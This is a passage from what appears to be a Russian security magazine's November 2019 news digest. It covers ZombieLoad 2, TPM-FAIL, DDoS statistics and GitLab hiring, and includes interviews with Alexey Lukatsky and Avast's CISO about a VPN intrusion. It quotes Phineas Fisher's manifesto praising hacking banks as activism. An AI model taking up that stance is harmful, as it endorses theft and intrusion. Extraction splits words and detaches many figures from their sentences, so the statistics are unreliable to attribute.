равле на про тив китай ско го про вай дера свя зи.

279 11,6

Ста тис тичес кое боль шинс тво атак про исхо дило в понедель ник ( ).18%

Ли диру ет  по  количес тву  атак  по‐преж нему  ,  с  прак тичес ки  не  изме нив шей ся  долей
по срав нению со вто рым квар талом (  вмес то  ).

Ки тай
62,97% 63,80%

Са мым рас простра нен ным типом атак оста ется SYN‐флуд с долей  , на вто ром мес те —
UDP‐флуд с долей  . Наиме нее популя рен ICMP‐флуд ( ).

79,7%
9,4% 0,5%

ZOMBIELOAD 2
В мае текуще го  года иссле дова тели   о новом клас се
уяз вимос тей  в  про цес сорах  ком пании  Intel:  Microarchitectural  Data  Sampling
(MDS). Рав но как и уяз вимос ти Spectre и Meltdown, новые баги ока зались свя‐ 
заны  с  упрежда ющим  (или  спе куля тив ным  —  speculative)  механиз мом
исполне ния команд. Тог да экспер ты выдели ли четыре уяз вимос ти и три груп‐ 
пы проб лем: RIDL, Fallout и ZombieLoad. Все эти баги поз воля ют ата кующе му
похищать  пароли,  крип тогра фичес кие  клю чи  и  про чие  лич ные  дан ные,  заг‐ 
ружа емые в память буферов про цес сора.

рас кры ли информа цию

Как выяс нилось теперь, у ZombieLoad, самой опас ной из най ден ных проб‐ 
лем, име ется вто рой вари ант (CVE‐2019‐11135), который пред став ляет угро зу
и  для  более  новых  про цес соров  Intel,  вклю чая  Cascade  Lake.  Ранее  счи‐ 
талось,  что  эти  про цес соры  не  под верже ны  подоб ным  ата кам,  так
как защище ны на аппа рат ном уров не.

В рам ках ноябрь ско го  «втор ника обновле ний» инже неры  Intel  уже выпус‐ 
тили обновле ния мик рокодов, исправ ляющие проб лему ZombieLoad 2.

Ока залось,  вес ной  текуще го  года  экспер ты  умол чали  о  сущес тво вании
CVE‐2019‐11135,  так  как  у  раз работ чиков  Intel  еще  не  были  готовы  пат чи.
Теперь  же  иссле дова тели  рас ска зали,  что  работа  вто рой  вари ации  Zom‐
bieLoad свя зана с исполь зовани ем тех нологии Intel Transactional Synchroniza‐
tion Extensions (TSX) и асин хрон ного пре рыва ния.

Фак тичес ки  зло умыш ленник  может  исполь зовать  вре донос ный  код
для соз дания кон флик та меж ду опе раци ями чте ния внут ри ЦП. В ито ге может
про изой ти  утеч ка  дан ных,  обра баты ваемых  про цес сором.  Иссле дова тели
пишут, что ата ка работа ет даже про тив машин с аппа рат ными исправ лени ями
для  уяз вимос ти Meltdown  (в  час тнос ти,  тес тирова лись  i9‐9900K и  Xeon Gold
5218).  И  единс твен ное  обя затель ное  усло вие  для  ата ки  —  необ ходимость
под дер жки  Intel  TSX,  дос тупной  по  умол чанию  во  всех  про цес сорах  Intel,
выпус каемых пос ле 2013 года (пер выми под дер жкой TSX обза велись про цес‐ 
соры Haswell).

Пред ста вите ли Intel не толь ко опуб ликова ли обновлен ные мик рокоды, но и
пос пешили заверить, что ZombieLoad 2 не так опас на, как может показать ся.
Дело  в  том,  что  все  ата ки  MDS  поз воля ют  выпол нять  вре донос ный  код
на про цес сорах Intel, но при этом зло умыш ленни ки не могут кон тро лиро вать,
какие  дан ные  они  извле кают.  По  сути,  инже неры  Intel  уве ряют,  что  у  прес‐ 
тупни ков есть дру гие, куда более прос тые спо собы и средс тва для хищения
дан ных у целей.

Так как пат чи для спе куля тив ных атак, как пра вило, ведут к потен циаль ному
падению  про изво дитель нос ти  сис темы,  мно гие  поль зовате ли  могут
не  захотеть  уста нав ливать  оче ред ное  обновле ние.  В  этом  слу чае  Intel
рекомен дует отклю чить под дер жку TSX, если она не слиш ком нуж на.

Раз работ чики  Windows  и  Linux,  в  свою  оче редь,  уже    о  том,
как мож но защитить ся от ZombieLoad 2, а имен но об отклю чении Intel TSX.

рас ска зали

 BITCOIN‐БАН КОМАТОВ УСТА НОВ ЛЕНО ПО ВСЕ МУ
МИРУ
6000

Ис сле дова тели  из  Coin  ATM  Radar  обна родо вали  ста тис тику  по  количес тву  крип товалют ных
бан коматов, уста нов ленных в раз личных стра нах мира.

По  дан ным  Coin  ATM  Radar,  в  нас тоящий  момент  в  мире  нас читыва ется  более    таких
машин.

6000

 из них рас положе ны на тер ритории США, на Евро пу при ходит ся   всех уста нов ленных
бан коматов, а вот в стра нах Азии, нев зирая на боль шую популяр ность крип товалют, уста нов‐ 
лены лишь   от обще го чис ла бан коматов.

65% 20%

2%

Каж дый день в мире появ ляет ся при мер но   новых машин.11

В США сей час   крип товалют ных бан комата,   — в Канаде, а третье и чет вертое мес та
в спис ке занима ют Великоб ритания (  машины) и Авс трия (  машин).

3924 653
272 189

Рос сия находит ся на девятом мес те: в нашей стра не нас читыва ется   таких бан комата.62
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GITLAB БОИТСЯ
РУССКИХ
В ком пании GitLab прош ло инте рес ное обсужде ние воз можно го зап рета при‐ 
нимать на работу спе циалис тов из Китая и Рос сии.

Эрик Джон сон (Eric Johnson), вице‐пре зидент GitLab по инже нер ным раз‐ 
работ кам,  объ яснил,  что  поводом для  обсужде ния  пос лужило бес покой ство
кор поратив ных кли ентов, которых тре вожит геопо лити чес кая ситу ация в этих
двух стра нах.

Нуж но  пояс нить,  что  речь  идет  о  сот рудни ках,  которые  ока зыва ют  тех‐ 
ничес кую  под дер жку  таким  кли ентам:  это  спе циалис ты  Support,  SRE
в области инфраструк туры, SecOps и Anti‐Abuse в отде ле Security. Дело в том,
что у это го вспо мога тель ного пер сонала есть пол ный дос туп  к дан ным ком‐ 
паний. Как пишет Джон сон, кор поратив ные кли енты опа сают ся, что сот рудни‐ 
ки из Рос сии и Китая могут похищать дан ные, а спец служ бы спо соб ны при‐ 
нудить их к сот рудни чес тву и раз гла шению ком мерчес кой тай ны.

У GitLab нет воз можнос ти огра ничи вать дос туп сот рудни ков в зависи мос ти
от  кон крет ной  стра ны,  и  в  ком пании  не  хотят,  что бы  в  коман дах  появи лись
люди, которые не смо гут выпол нять свои обя зан ности на все сто про цен тов.
При  этом под черки вает ся,  что  зап рет  не будет  рас простра нять ся  на дру гие
дол жнос ти и не помеша ет людям из Китая и Рос сии писать код.

Гла ва GitLab Сид Сиб ранди  (Sid Sijbrandij)  про ком менти ровал,  что в нас‐ 
тоящее вре мя ком пания вооб ще не нанима ет пер сонал под дер жки из Китая
и Рос сии, так что из‐за будуще го зап рета, который, ско рее все го, будет при‐ 
нят, ник то не дол жен лишить ся работы.

ФИ ШЕР ПРЕД ЛАГА ЕТ НАГ РАЖДАТЬ ХАКЕРОВ ЗА ПОЛИТИ ‐
ЧЕС КИЕ АТА КИ
Мно голет нее мол чание прер вал извес тный хак тивист Фине ас Фишер (Phineas Fisher), который
в 2016 году слил WikiLeaks докумен ты пра вящей пар тии Тур ции и ском про мети ровал про фес‐ 
сиональ ных  раз работ чиков  и  пос тавщи ков  шпи онско го  ПО  —  ком пании  FinFisher  и  Hacking
Team.

Его  новый манифест  пред лага ет  подог ревать  инте рес  к  хак тивиз му,  поощ ряя  его финан‐ 
сово, — воз награж дать хакеров за полити чес кие ата ки во имя общес твен ных инте ресов. Свою
прог рамму  он  наз вал  Hacktivist  Bug  Hunting  Program  и  сооб щил,  что  готов  зап латить  дру гим
акти вис там до 100 тысяч дол ларов в крип товалю те (Bitcoin или Monero).

В  качес тве  при меров  Фишер  перечис лил  воз можные  цели  для  хак тивис тов:  гор нодобы‐ 
вающие и живот новод ческие ком пании в Южной Аме рике, изра иль ский раз работ чик спай вари
NSO Group и неф тяная ком пания Halliburton.

→ «Я счи таю, что хакерс тво — это мощ ный инс тру мент, и хак тивизм исполь зует толь ко часть
сво его истинно го потен циала. Неболь шие инвести ции могут помочь ему раз вивать ся, луч шие
вре мена [хак тивиз ма] еще впе реди.

Взлом  с  целью  получить  и  слить  докумен ты,  пред став ляющие  общес твен ный  инте рес,  —
один из луч ших спо собов исполь зовать хакер ские спо соб ности на бла го общес тва. Я не пыта‐ 
юсь никого озо лотить, я лишь пыта юсь выделить дос таточ но средств, что бы хакеры мог ли дос‐ 
той но зараба тывать на жизнь, делая хорошую работу.

В  циф ровую  эпо ху  ограбле ние  бан ка  явля ется  ненасиль ствен ным  актом,  наиме нее  рис‐ 
кован ным, а воз награж дение выше, чем где‐либо еще. Мировая финан совая эли та — это угне‐ 
тате ли, а не жер твы. <...> Взлом этой эли ты и воз вра щение кро шеч ной доли похищен ного ими
богатс тва не дела ет их жер тва ми. Это кибер прес тупле ние. А так же это акти визм, мотиви рован‐ 
ный стрем лени ем к соци аль ным переме нам. Я не получаю от это го никакой выгоды и при были»
— заяв ляет Фине ас Фишер

ПРОБЛЕМА TPM‐FAIL
Свод ная груп па иссле дова телей из Вус тер ско го политех ничес кого инсти тута
(США),  Уни вер ситета  Любека  (Гер мания)  и  Калифор ний ско го  уни вер ситета
в Сан‐Диего (США) рас кры ла детали двух проб лем, получив ших общее наз‐ 
вание  TPM‐FAIL.  Баги  свя заны  с  Trusted  Platform Module  (TPM)  и  поз воля ют
извле кать крип тогра фичес кие клю чи, хра нящи еся в TPM.

Опас ность  TPM‐FAIL  обус ловле на  тем,  что,  по  завере ниям  иссле дова‐ 
телей, такие ата ки могут успешно при менять ся в реаль ной жиз ни — для TPM‐
атак  в  целом  это  ред кость.  Так  как  на  сегод няшний  день  слож но  най ти
устрой ство,  которое  не  исполь зует  TPM  в  виде  аппа рат но  изо лиро ван ного
чипа  или  прог рам мно го  решения,  перед  проб лемой  потен циаль но  уяз вимы
мил лиар ды устрой ств, начиная от ПК, ноут буков и сер веров и закан чивая IoT.

TPM‐FAIL сос тоит из двух уяз вимос тей:
  свя зана  с  тех нологи ей  Intel  Platform  Trust

(PTT).  Intel PTT — это прог рам мное TPM‐решение для  Intel  fTPM, которое
широко  при меня ется  на  сер верах,  нас толь ных  компь юте рах  и  ноут буках.
Его под держи вают все про цес соры Intel, выпущен ные с 2013 года, то есть
начиная с поколе ния Haswell;

• пер вая  (CVE-2019-11090)

  свя зана  с  чипами  ST33  TPM  про изводс тва
ком пании STMicroelectronics. ST33 TPM весь ма популя рен и исполь зует ся
в сос таве самых раз ных устрой ств, от сетево го обо рудо вания до облачных
сер веров. Это один из нем ногих чипов, которые получи ли клас сифика цию
CommonCriteria (CC) EAL 4+, то есть пос тавля ется со встро енной защитой
про тив side‐channel‐атак.

• вто рая  (CVE-2019-16863)

Сто ит ска зать, что спе циалис ты изу чали и дру гие TPM‐решения, в том чис ле
от Infineon и Nuvoton, но те были приз наны надеж ными.

По  сути  ата ки  TPM‐FAIL  пред став ляют  собой  проб лему  timing  leakage,  то
есть  потен циаль ный  зло умыш ленник может  сле дить  за  тем,  как  TPM выпол‐ 
няет пов торя ющиеся опе рации, и отме чать раз ницу во вре мени. Ана лизи руя
эти  дан ные  и  осно выва ясь  на  том,  какое  количес тво  вре мени  TPM  тра тит
на  одни  и  те  же  опе рации,  ата кующий  получа ет  воз можность  извлечь
информа цию, обра баты ваемую внут ри TPM.

По информа ции иссле дова телей, с помощью ата ки мож но извлечь 256‐бит‐ 
ные  при ват ные  клю чи,  хра нящи еся  в  TPM.  Такие  256‐бит ные  клю чи  исполь‐ 
зуют ся опре делен ными схе мами циф ровой под писи, работа ющи ми на осно‐ 
ве алго рит мов эллипти чес ких кри вых, нап ример ECDSA и ECSchnorr. В ито ге
под  угро зой  ока зыва ются  такие  крип тогра фичес ки  защищен ные  опе рации,
как  уста нов ление  TLS‐соеди нений,  под писыва ние  циф ровых  сер тифика тов
и авто риза ция вхо дов в сис тему.

От дель но  под черки вает ся,  что  ата ки  TPM‐FAIL  занима ют  не  слиш ком мно го
вре мени.  Так,  что бы  вос ста новить  ключ  ECDSA  из  Intel  fTPM,  понадо бит ся
от четырех до двад цати минут, в зависи мос ти от уров ня дос тупа. Иссле дова‐ 
тели  утвер жда ют,  что  ата ки  мож но  выпол нять  и  уда лен но  в  быс трых  сетях.
К  при меру,  вос ста нов ление  клю ча  аутен тифика ции  VPN‐сер вера  заняло
у  спе циалис тов  око ло  пяти  часов  и  пот ребова ло  ини цииро вания  поряд‐ 
ка  45  тысяч  аутен тифика цион ных  handshake’ов  и  вни матель ного  изу чения
отве тов сер вера.

Пред ста вите ли  Intel  уже  опуб ликова ли  офи циаль ные  рекомен дации
по безопас ности и  выпус тили обновле ния для  Intel PTT. Раз работ чики STMi‐
croelectronics, в свою оче редь, не смог ли прос то выпус тить обновле ние ПО и
вмес то  это го  под готови ли  новую  вер сию  чипа  ST33,  который,  как  уже  под‐ 
твер дили иссле дова тели, устой чив перед ата ками TPM‐FAIL.

 РОС СИЯН ДЕЛЯТ СЯ В СЕТИ ИНТИМНЫ МИ ФОТО41%

Эк спер ты ESET опуб ликова ли иссле дова ние, делят ся ли рос сий ские поль зовате ли интимны ми
фото и видео. Сог ласно резуль татам,   опро шен ных обме нива ются подоб ным кон тентом.41%

По хожее  иссле дова ние  спе циалис ты  ESET  уже  про води ли  в  2015  году.  Тог да  в  прис трас тии
к обме ну откро вен ным кон тентом приз нались   рес понден тов.53%

Су дя  по  все му,  за  минув шие  годы  поль зовате ли  ста ли  боль ше  бес поко ить ся  о  сох раннос ти
при ват ных дан ных. Так, в рам ках нового иссле дова ния выяс нилось, что   опро шен ных лич но
стал кивались  с  утеч кой  сво их  при ват ных  фотог рафий.  Еще    сооб щили,  что  не  делят ся
такими матери ала ми с кем‐либо.

8%
43%

Рес понден там так же был задан воп рос о спо собах защиты лич ных дан ных.   не хра нят при‐ 
ват ную  информа цию,    защища ются  с  помощью  анти виру са,  а    при бега ют  к  прод‐ 
винутым методам (VPN и шиф рованию).

45%
16% 11%

Ос таль ные   опро шен ных сооб щили, что не заботят ся о собс твен ной безопас ности в Сети,
пос коль ку им нечего скры вать.

33%

INTEL УДАЛЯЕТ
СТАРЫЙ BIOS
Поль зовате ли  форумов  Vogons  обна ружи ли,  что  ком пания  Intel  собира ется
уда лить с офи циаль ного сай та ста рые драй веры и обновле ния BIOS. К при‐ 
меру, на стра нице BIOS Update  [SOX5810J.86A] 5600 было пре дуп режде ние
о ско ром кон це сро ка служ бы, и пос ле 22 нояб ря 2019 года стра ница ста ла
недос тупна,  то  есть  обновле ние  недос тупно  для  заг рузки  и  не  будет  под‐ 
держи вать ся ни в каких фор мах. Поль зовате лям BIOS Update [SOX5810J.86A]
5600  рекомен довали  как  мож но  ско рее  прек ратить  исполь зовать  дан ный
про дукт.

Ана логич ные  сооб щения мож но было  встре тить  на  стра ницах мно жес тва
драй веров  и  обновле ний  BIOS  для  сис темных  плат  и  нас толь ных  ПК  Intel,
выпущен ных ком пани ей в 1990‐х и в начале 2000‐х годов. Боль шинс тво драй‐ 
веров пред назна чены для ста рых вер сий Windows, таких как 98, ME, XP и Win‐
dows Server,  чей  срок  служ бы мно го  лет  назад  тоже  подошел  к  кон цу. Фак‐ 
тичес ки  Intel  дав но  прек ратила  выпус кать  обновле ния  и  для  сво его  ста рого
железа,  и  ста рые  фай лы  раз мещались  на  сай те  про изво дите ля  прос то
для удобс тва.

В  ито ге  Intel  под вер глась  рез кой  кри тике  со  сто роны  сооб щес тва,  ведь
мно гие до сих пор исполь зуют уста рев шие сис темы и уста рев шее обо рудо‐ 
вание Intel. Так, некото рые поль зовате ли замети ли эту тре вож ную тен денцию
еще в сен тябре текуще го года. К при меру, прог раммист, извес тный под псев‐ 
донимом Foone Turing,  еще  тог да  ,  что  про изво дите ли  прос то
обя заны под держи вать свое железо, дер жать драй веры и про шив ки на сай тах
до побед ного кон ца, «пока сол нце не взор вется» или ком пания не обан кро‐ 
тит ся.

пи сал в Twitter

Те перь,  ког да дело получи ло широкую огласку,  поль зовате ли сету ют,  что
ком пании намерен но избавля ются от ста рого ПО, пыта ясь вынудить кли ентов
покупать новое обо рудо вание, так как исполь зовать ста рое ста новит ся поп‐ 
росту невоз можно.

Нуж но  заметить,  Intel  не  единс твен ная  ком пания,  которая  прак тику ет
подоб ное. К при меру,  в 2017  году похожий ход с  уда лени ем ПО для ста рых
про дук тов  с  сай та  пред при няла  ком пания  HP.  Но  в  то  же  вре мя  такие  про‐ 
изво дите ли,  как  Dell  и  Lenovo,  нап ротив,  пре дос тавля ют  сво им  поль зовате‐ 
лям пол ный набор ста рых драй веров для любых решений.

ДРУ ГИЕ ИНТЕ РЕС НЫЕ СОБЫТИЯ МЕСЯЦА

В дар кне те появил ся новый поис ковик Kilos

Сто рон ние SDK тай но собира ли дан ные поль зовате лей Twitter и Facebook

Опен сор сный LibreTorrent уда лен из Google Play яко бы из‐за наруше ния пра вил плат формы

На одном сер вере ElasticSearch обна ружи ли дан ные 1,2 мил лиар да поль зовате лей

Ки тай ские экспер ты рас ска зали о кибера таках на казах станские ком пании и орга низа ции

Twitter наконец поз волит поль зовате лям не при менять SMS для двух фактор ной аутен тифика ции

Google готова зап латить до 1,5 мил лиона дол ларов за ком про мета цию Titan M

Аме рикан ско го сту ден та обви нили в раз работ ке кас томно го дис три бути ва Gentoo для ИГИЛ

Google и Samsung испра вили баг, поз воляв ший при ложе ниям сле дить за поль зовате лями через
камеру

Аме рикан ские влас ти пре дуп редили об опас ности пуб личных заряд ных стан ций, исполь зующих
USB

https://twitter.com/Foone/status/1172237490897526789
https://xakep.ru/2019/11/29/kilos/
https://xakep.ru/2019/11/27/oneaudience-and-mobiburn/
https://xakep.ru/2019/11/26/libretorrent/
https://xakep.ru/2019/11/25/1-2-billion-records/
https://xakep.ru/2019/11/25/golden-falcon/
https://xakep.ru/2019/11/22/twitter-2fa-2/
https://xakep.ru/2019/11/22/titan-m-bounty/
https://xakep.ru/2019/11/21/gentoo-for-isis/
https://xakep.ru/2019/11/20/google-camera/
https://xakep.ru/2019/11/15/charging-stations-warning/
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АЛЕКСЕЙ
ЛУКАЦКИЙ
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случайны.
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Алек сей  Лукац кий  —  име нитый  эксперт
в  области  ИБ,  а  так же  вла делец  самой
узна ваемой  шля пы  в  рос сий ском  инфо‐ 
сек‐сооб щес тве. Не исклю чено, что ты уже
бывал  на  его  выс тупле ниях. Мы  же  задали
ему  нес коль ко  важ ных,  про вока цион ных
и не сов сем серь езных воп росов в про дол‐ 
жение нашей серии корот ких интервью.

INFO

Ма тери ал под готов лен ведущи ми канала 
 экс клю зив но для «Хакера».

@rusec‐
media

— Насущ ный воп рос: если работу обезь яны‑пен тесте ра мож но
уже дав но авто мати зиро вать и нуж ды в этих спе циалис тах нет,
ког да мы смо жем заменить экспер тов, которые занима ются нор -
матив ными докумен тами, ФЗ и про цес сами в области ИБ?
— Если бы работа законо дате лей была пред ска зуемой и фор мализо ван ной,
то,  дей стви тель но,  их  мож но  было  бы  заменить  робота ми,  штам пующи ми
новые нор матив ные акты. Но, увы, в отли чие от обезь яны, обла дающей хоть
малым, но все‐таки интеллек том, у законо дате лей час то нет даже неболь шой
искры  соз нания,  поэто му  никакой  искусс твен ный  интеллект  заменить  их
не  может.  Так  что  работа  бумаж ных  безопас ников,  трак тующих  резуль таты
деятель нос ти депута тов, будет нуж на всег да. И чем даль ше, тем боль ше.

— Фор мула взло ма любой ком пании?
— Если верить Плу тар ху,  то еще Юлий Цезарь в 47 году до нашей эры при‐ 
думал эту фор мулу, и она зву чит так: «При шел. Уви дел. И взло мал!»

— IDA Pro, Radare2 или Ghidra?
— Конеч но же, «Гид ра». Она не толь ко раз работа на моими друзь ями из АНБ,
которым мож но доверять, но и бес плат на в отли чие от той же «Иды».

— Биз нес ИБ пос тро ен на том, что бы про дать страх дру гим ком -
пани ям (нап ример, мож но вспом нить  ). Плюс кло -
уны‑иссле дова тели находят нас толь ко слож ные уяз вимос ти, что
в реаль нос ти обыч ному блек хету най ти не в силах. Как понять,
что вашей ком пании пора задумать ся о ИБ?

MaxPatrol

—  Если  вам  написал  человек  по  име ни  Ашот  или  поз вонила  жур налис тка
по  име ни  Верони ка  или  Маша,  то  ком пании  неп ремен но  сто ит  задумать ся
о ИБ. Это стоп роцен тные инди като ры!

— Ска жите, что делать людям, которых шан тажиру ют утек шими
пер сональ ными дан ными какие‑нибудь зло умыш ленни ки, нап -
ример с име нем Огот Ашо тесян?
— Я  бы  задумал ся  о  сме не  пас порта,  ника  в  соц сети,  номера мобиль ного,
адре са про жива ния, а так же обра тил ся бы к плас тичес кому хирур гу для сме‐ 
ны лица и  голосо вых свя зок  (может быть, и пол поменял, на вся кий слу чай).
Потому  что  прай веси  —  это  такая  тема,  с  которой  луч ше  не  шутить!  А  то
еще  будут  наз ванивать  непонят ные  люди  из  служ бы  безопас ности  Опер‐ 
банка...

— Любимая уяз вимость?
—  Memory  leak.  Ее  пре иму щес тво  в  том,  что  про  нее  быс тро  забыва ешь
и мож но не устра нять.

— Про дол жите анек дот: «Заходят в бар три спе циалис та по ИБ...»
— ...

— Пять прак тичес ких советов спе циалис там по информа цион ной
безопас ности.
—  Любой  спе циалист  по  ИБ  дол жен  пом нить  про  пять  важ ней ших  в  его
деятель нос ти  изме рений:  1.  Дли на  важ нее  все го,  ког да  мы  говорим
о паролях. 2. Глу бина важ нее все го, ког да мы говорим об эше лони рован ной
защите. 3. Ширина важ нее, ког да перед нами сто ит выбор защит ных и ком‐ 
пенси рующих  мер.  4.  Ско рость  важ нее,  ког да  мы  занима емся  реаль ной
безопас ностью,  а  не  бумаго мара тель ством.  5.  День ги  важ нее  все го,  так
как  имен но  это  изме рение  луч ше  вос при нима ется  людь ми,  которые  пла тят
день ги спе циалис там по ИБ за их работу.

WWW

Блог Алек сея Лукац кого

https://tttttt.me/rusecmedia
https://www.ptsecurity.com/ww-en/products/maxpatrol/
https://lukatsky.blogspot.com/
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Джай ла  Балу  еще  не  успе ла  зас тупить  на  пост  CISO  ком‐ 
пании Avast, оста вив ана логич ную дол жность в телеком‐опе‐ 
рато ре KPN,  как  ей  приш лось  устра нять  пос ледс твия  серь‐ 
езно го  инци ден та.  Зло умыш ленни ки  смог ли  про ник нуть
внутрь  перимет ра,  похитив  акка унт  VPN.  Мы  расс про сили
Джай лу Балу о том, через что прош ли сот рудни ки пос ле ата‐ 
ки, и о том, как живет ся CISO в анти вирус ной ком пании.

ИНЦИДЕНТ

— Рас ска жите, как выг лядело про исшес твие с вашей точ ки зре -
ния.
— Я приш ла  в  ком панию 1 октября 2019  года. А  в  пос леднюю неделю сен‐ 
тября,  ког да я была еще в KPN, мне поз вонили из Avast и ска зали,  что наб‐ 
люда ют  неч то  стран ное.  Я,  конеч но,  перес про сила,  нас коль ко  стран ное.
В нашем деле всег да про исхо дит что‐нибудь стран ное, осо бен но ког да смот‐ 
ришь логи, при ходя щие отов сюду. Мне отве тили, что это очень похоже на ата‐ 
ку.

Мы  немед ленно  поз вонили  внеш нему  под рядчи ку,  который  занима ется
форен зикой, что бы отпра вить ему наход ки и что бы он немед ленно занял ся их
изу чени ем.  Потом  мы  сами  под няли  логи,  пыта ясь  понять,  что  все  же  про‐ 
изош ло. И наш ли там вещи, на которые изна чаль но не обра тили вни мания.

Что бы  получить  наибо лее  богатую  информа цию,  нуж но  смот реть  даш‐ 
борды по каж дому отдель ному устрой ству вмес то объ еди нен ных логов в sys‐
log и про чих мес тах. Это, конеч но, очень кро пот ливая работа и в целом неэф‐ 
фектив ный  спо соб,  которо го  я  наде юсь  избе гать  в  будущем.  Но  зато  мы
обна ружи ли рас хожде ния в логах от Microsoft Analytics, от VPN, от фай рво лов
и дру гих служб, которые у нас работа ют.

И самое неп рият ное в такой ситу ации — это то, что ты не зна ешь, какому
из  них  верить.  Нап ример,  ты  видишь  что‐то  необыч ное,  све ряешь  с  дру гим
логом,  реша ешь,  что  это  какое‐то  лож ное  сра баты вание,  и  идешь  даль ше.
А имен но эта зацеп ка и мог ла при вес ти тебя к исти не.

Это  как  находить ся  в  каком‐то футурис тичес ком лесу  из  «Голод ных  игр»,
видеть четыре пути и не знать, по какому нуж но идти, что бы чего‐то дос тичь
и не уме реть по дороге. Вна чале, нап ример, мы выб рали невер но.

— Раз ве SIEM не дол жны сра баты вать имен но в таких слу чаях?
— Оче вид но, недос таточ но хорошо, и я пла нирую заменить наш. Но мы дол‐ 
жны были заметить ошиб ку рань ше и най ти кор реляцию. Зато, ког да мы уже
раз бирали пос ледс твия,  изо лиро вав сеть,  кар тина пос тепен но начала скла‐ 
дывать ся.

Ата кующий  смог  про ник нуть  внутрь  перимет ра  через  VPN.  При чем  про‐ 
филя, которым он поль зовал ся, не дол жно было сущес тво вать: какое‐то вре‐ 
мя назад его соз дали для выг рузки бэкапов и дол жны были деак тивиро вать.
Но это го не сде лали — ско рее все го, по ошиб ке, а не с при целом на ата ку.

Тем не менее логин и пароль, которые тре бова лись для вхо да, ока зались
похище ны. Двух фактор ной аутен тифика ции там не было, хотя во всех дру гих
мес тах у нас исполь зует ся 2FA.

— Вы отсле дили, кто и как поль зовал ся этим соеди нени ем?
— Мы  наш ли  поль зовате ля,  чьи  учет ные  дан ные  были  ском про мети рова ны
и исполь зовались для логина в VPN. Сна чала у ата кующе го были лишь очень
невысо кие  поль зователь ские  при виле гии,  но  затем,  при менив  Mimikatz
или  pass  the  hash  (тех нику  ата ки  на  Kerberos),  наруши тели  получи ли  пра ва
адми на домена. Мы видели зап росы на реп ликацию на кон трол лере домена.
Имен но это дей ствие и спро воци рова ло алерт от ATA (Advanced Threat Analyt‐
ics), который прив лек наше вни мание. К сожале нию, мы отме ли его как лож‐ 
нополо житель ное сра баты вание.

Ког да  мы  вер нулись  к  это му  пути  и  изу чили  все  тай мстем пы,  мы  смог ли
прос ледить весь ход ата ки. В логах Checkpoint было отчетли во вид но, куда им
уда лось,  а  куда  не  уда лось  проб рать ся.  До  «брил лиан тов  короны»  они
не дош ли. Но как мож но быть уве рен ным на все сто про цен тов? Никак! Имен‐ 
но поэто му мы переш ли на осад ный режим, вык лючили всё, что мог ли, и ста ли
всё переп роверять.

И имен но поэто му меня тут теперь так «любят». Но мне нуж но было исхо‐ 
дить  из  наихуд шего  сце нария.  Потому  что  вто рого  шан са  испра вить  софт,
который  может  быть  под писан  ском про мети рован ным  сер тифика том,  уже
не  будет.  Поэто му  мы  отсле дили  ата ку  от  началь ной  точ ки  (это  было  14–
15  мая  2019  года),  ког да  был  пер вый  логин  через  этот  VPN,  и  решили
не доверять ничему, что было пос ле это го.

Ес ли  пра ва  это го  кон крет ного  поль зовате ля  уда лось  под нять  до  адми на
кон трол лера домена,  то,  получа ется,  нель зя  верить вооб ще ничему.  Так  что
все,  что мы выпус кали  за пос ледние пол года,  приш лось про верять.  Каж дый
релиз каж дого нашего про дук та — на все воз можные спо собы инжекта. И не
один раз, а два. В общем, еще один повод любить безопас ников!

БРИЛЛИАНТЫ КОРОНЫ

— Дан ные, исходни ки и популяр ные про дук ты, которы ми вла деет
анти вирус ная ком пания, — это, навер ное, лакомый кусочек
для мно гих. При чем, я думаю, не толь ко для прес тупни ков, но и
для спец служб…
— Имен но поэто му в самом начале инци ден та мы обра тились  к  сво им  кол‐ 
легам,  в  том  чис ле  к  кон куриру ющим  анти вирус ным  ком пани ям.  Мы  хотели
передать  им  информа цию,  которая  помог ла  бы  защитить ся  от  пов торения
этой исто рии. На мой взгляд, это очень важ но и в индус трии анти виру сов про‐ 
исхо дит недос таточ но час то. Тот же телеком выжива ет толь ко потому, что все
опе рато ры стал кива ются с одни ми и теми же угро зами. Ког да я была в KPN, я,
нап ример зас тала ата ку на Belgacom.

Вкрат це  вот  что  тог да  слу чилось.  У ЦРУ  и  бри тан ско го GCHQ была  цель
на Сред нем Вос токе — кто‐то, кого они иден тифици рова ли бла года ря спут‐ 
никово му  телефо ну  и  опре дели ли,  что  он  находит ся  в  Саудов ской  Ара вии.
Доб рать ся  до  этой  цели  ока залось  слож но  —  с  безопас ностью  там  все
в поряд ке. Поэто му для них было цен но хотя бы перех ватить дан ные.

Спец служ бы  в  ито ге  взло мали  опе рато ра,  который  пре дос тавлял  связь
этой  цели.  Если  бы  они  попыта лись  получить  ордер  и  зас тавить  опе рато ра
сот рудни чать, он бы узнал об их дей стви ях,  что было нежела тель но. Вмес то
это го была соз дана спе циаль ная мал варь — Regin. Ее исполь зовали для ата‐ 
ки на Belgacom и через нее получи ли дос туп к дан ным цели. В про цес се было
исполь зовано  четыре  зиродея  и  глу бокие  зна ния  обо рудо вания  каналь ного
уров ня — в том чис ле коман ды, которые обыч но есть толь ко у его раз работ‐ 
чиков. В общем, серь езней шая ата ка.

К чему я об этом рас ска зываю: мы‐то всег да думали, что работа ем с эти ми
агентства ми офи циаль но и они вряд ли будут выс тупать как про тив ники. Есть
ведь нор маль ные пути получе ния информа ции — без вся ких взло мов.

И тут надо понимать, что опе рато ры по все му миру исполь зуют одно и то
же  обо рудо вание  —  Ericsson,  Nokia  и  так  далее.  И  воз можность  ата ки
на  одно го  из  них  (осо бен но  с  исполь зовани ем  недоку мен тирован ных  фун‐ 
кций  обо рудо вания)  озна чает,  что  сра бота ет  и  на  боль шинс тве  осталь ных.
Имен но  поэто му  мы  активно  работа ли  с  Belgacom,  что бы  каж дый  мог  обе‐ 
зопа сить себя. И имен но поэто му я хотела бы, что бы в индус трии анти виру‐ 
сов  все  так  же  спе шили  общать ся  меж ду  собой  и  коопе риро вались  про тив
пло хих ребят.

НЕПРОСТАЯ ЖИЗНЬ CISO

— Вы отве чаете за безопас ность в ком пании, которая занима ется
безопас ностью. Нас коль ко это отли чает ся от работы в любой
дру гой ком пании?
— Я думала, что это будет лег че, пос коль ку все и так хорошо зна комы с пред‐ 
метом, но в реаль нос ти ока залось нам ного слож нее! Во‐пер вых, все дума ют,
что  всё  зна ют  луч ше  тебя.  Во‐вто рых,  в  ком пании,  которая  занима ется
безопас ностью,  самое  важ ное  —  это  даже  не  про дукт,  а  люди,  которые
работа ют над ним. Имен но прог раммис ты — нас тоящий «дви жок» про дук та.
И у них дол жна быть воз можность работать с ком фортом.

В  KPN  и  в  дру гих  ком пани ях,  где  я  выпол няла  фун кции  CISO,  глав ной
